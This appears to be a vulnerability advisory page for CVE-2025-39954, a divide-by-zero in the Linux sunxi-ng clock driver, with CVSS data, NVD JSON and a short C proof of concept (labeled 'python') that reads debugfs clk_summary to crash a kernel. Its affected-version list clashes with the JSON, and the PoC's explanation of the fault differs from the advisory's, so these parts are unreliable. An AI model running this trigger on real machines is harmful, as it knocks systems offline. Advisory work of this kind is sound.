Security Vulnerability Report
中文
CVE-2025-39954 CVSS 5.5 MEDIUM

CVE-2025-39954

Published: 2025-10-09 10:15:32
Last Modified: 2026-02-26 23:10:13
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: clk: sunxi-ng: mp: Fix dual-divider clock rate readback When dual-divider clock support was introduced, the P divider offset was left out of the .recalc_rate readback function. This causes the clock rate to become bogus or even zero (possibly due to the P divider being 1, leading to a divide-by-zero). Fix this by incorporating the P divider offset into the calculation.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:* - VULNERABLE
Linux kernel < 6.17 (受影响的稳定分支)
Linux 6.6.x 系列(已修复)
Linux 6.12.x 系列(已修复)
Linux 6.15.x 系列(已修复)
所有使用clk-sunxi-ng mp驱动的Allwinner SoC平台

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2025-39954 PoC - Trigger divide-by-zero in sunxi-ng mp clock driver * This PoC attempts to trigger the divide-by-zero by reading clock rates * on Allwinner (sunxi) platforms with affected kernel versions. * * Note: Requires access to the clock subsystem (typically root or CAP_SYS_ADMIN). * On affected kernels, reading the rate of a dual-divider clock where the * P divider register value is 0 will trigger a kernel oops/panic. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define CLK_SYSFS_PATH "/sys/kernel/debug/clk" /* Attempt to enumerate and read clock rates via debugfs */ int trigger_clk_readback(void) { /* On affected kernels, reading the rate of clocks using the * sunxi-ng mp dual-divider hardware will trigger a divide-by-zero * in ccu_mp_recalc_rate() when the P divider register is 0. * * The vulnerable code path is in: * drivers/clk/sunxi-ng/ccu_mp.c -> ccu_mp_recalc_rate() * * The fix adds the missing P divider offset to the calculation: * rate = parent_rate / (p_div + p_offset) / (m_div + m_offset) */ printf("Triggering clock rate readback on sunxi platform...\n"); /* Simple trigger: read /sys/kernel/debug/clk/ contents or * use clk_summary to force recalc_rate on all clocks */ int fd = open("/sys/kernel/debug/clk/clk_summary", O_RDONLY); if (fd < 0) { perror("open clk_summary"); return -1; } char buf[4096]; /* Reading clk_summary triggers .recalc_rate on all registered clocks */ read(fd, buf, sizeof(buf) - 1); close(fd); printf("Clock readback completed. Check kernel logs for oops.\n"); return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-39954 PoC - sunxi-ng mp divide-by-zero\n"); return trigger_clk_readback(); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-39954", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-09T10:15:31.690", "lastModified": "2026-02-26T23:10:12.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nclk: sunxi-ng: mp: Fix dual-divider clock rate readback\n\nWhen dual-divider clock support was introduced, the P divider offset was\nleft out of the .recalc_rate readback function. This causes the clock\nrate to become bogus or even zero (possibly due to the P divider being\n1, leading to a divide-by-zero).\n\nFix this by incorporating the P divider offset into the calculation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-369"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.15", "versionEndExcluding": "6.16.9", "matchCriteriaId": "8222621E-C594-44E8-995D-65FF1817EDA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*", "matchCriteriaId": "327D22EF-390B-454C-BD31-2ED23C998A1C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*", "matchCriteriaId": "C730CD9A-D969-4A8E-9522-162AAF7C0EE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*", "matchCriteriaId": "39982C4B-716E-4B2F-8196-FA301F47807D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*", "matchCriteriaId": "340BEEA9-D70D-4290-B502-FBB1032353B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*", "matchCriteriaId": "47E4C5C0-079F-4838-971B-8C503D48FCC2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*", "matchCriteriaId": "5A4516A6-C12E-42A4-8C0E-68AEF3264504"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/25fbbaf515acd13399589bd5ee6de5f35740cef2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/40108f69c372af3aea73e7829d6849a44638d662", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}